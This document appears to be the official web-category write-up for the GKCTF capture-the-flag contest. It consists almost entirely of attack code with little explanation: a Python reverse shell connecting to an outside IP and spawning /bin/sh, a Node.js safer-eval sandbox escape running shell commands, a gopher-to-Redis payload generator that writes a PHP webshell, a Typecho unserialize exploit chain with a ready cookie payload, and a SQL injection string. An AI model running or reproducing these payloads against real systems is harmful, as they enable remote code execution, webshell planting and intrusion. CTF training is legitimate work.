GKCTF-官方WriteUp首发(WEB)

import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("174.1.118.22",2333))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])

app.use((req, res, next) => {  if (req.path === '/eval') {    let delay = 60 * 1000;    console.log(delay);    if (Number.isInteger(parseInt(req.query.delay))) {      delay = Math.max(delay, parseInt(req.query.delay));    }    const t = setTimeout(() => next(), delay);    // 2020.1/WORKER3 老板说让我优化一下速度，我就直接这样写了，其他人写了啥关我p事    setTimeout(() => {      clearTimeout(t);      console.log('timeout');      try {        res.send('Timeout!');      } catch (e) {

      }    }, 1000);  } else {    next();  }});

app.post('/eval', function (req, res) {  let response = '';  if (req.body.e) {    try {      response = saferEval(req.body.e);    } catch (e) {      response = 'Wrong Wrong Wrong!!!!';    }  }  res.send(String(response));})

?delay=2147483649

import requests

print(requests.post('http://localhost:8081/eval?delay=2147483649', data={    'e': """(function () {  const process = clearImmediate.constructor("return process;")();  return process.mainModule.require("child_process").execSync("cat /flag").toString()})()"""    }).text)

import urllibprotocol="gopher://"ip="173.51.38.11"port="6379"shell="nn<?php system("cat /flag");?>nn"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="rn"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmd



if __name__=="__main__":    for x in cmd:        payload += urllib.quote(redis_format(x))    print payload

<?phpclass Typecho_Feed{    //const RSS2 = 'RSS 2.0';    private $_type;    private $_items = array();    public function __construct(){    //不加就会出现database error500        $this->_type = 'RSS 2.0';        $item['author'] = new Typecho_Request();        //$item['category'] = array(new Typecho_Request());        $this->_items[0] = $item;    }}class Typecho_Request{    private $_params = array();    private $_filter = array();    function __construct(){        $this->_params["screenName"]="cat /flag";        $this->_filter[0]="system";    }}



$a = array("adapter" =>  new Typecho_Feed(),"prefix" => "test");echo base64_encode(serialize($a));?>

import requestsurl='http://26b4c383-d6a2-41b8-8ea8-5f289a4c3688.node3.buuoj.cn/install.php?finish=1'files={'file':123}headers={    #运行poc替换__typecho_config    'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjQ6InRlc3QiO30=',    'Referer':'http://26b4c383-d6a2-41b8-8ea8-5f289a4c3688.node3.buuoj.cn/install.php'}re=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})print(re.text)

asar extract ./app.asar ./ext/

makeToken: function (e) {        var i = this;        return c()(a.a.mark((function t() {            var o, r;            return a.a.wrap((function (t) {                for (;;) switch (t.prev = t.next) {                    case 0:                        return "31169fedc9a20ecf", "d96adeefaa0102a9", o = f()(n()(e)), t.next = 5, i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);                    case 5:                        return r = t.sent, t.abrupt("return", r);                    case 7:                    case "end":                        return t.stop()                }            }), t, i)        })))()    },

module.exports = function(e){...}([function(e){}...]);

buyFlag: function (e) {                    var i = this;                    return c()(a.a.mark((function t() {                        var o;                        return a.a.wrap((function (t) {                            for (;;) switch (t.prev = t.next) {                                case 0:                                    return o = {                                        id: e,                                        timestamp: Date.parse(new Date)                                    }, t.t0 = i.$http, t.t1 = i.url + "/buyflag", t.t2 = o, t.next = 6, i.makeToken(o);                                case 6:                                    t.t3 = t.sent, t.t4 = {                                        token: t.t3                                    }, t.t5 = {                                        headers: t.t4                                    }, t.t6 = function (e) {                                        i.$Modal.info({                                            title: "购买结果",                                            content: e.data[0].flag                                        })                                    }, t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);                                case 11:                                case "end":                                    return t.stop()                            }                        }), t, i)   })))()

1"or(id=3)#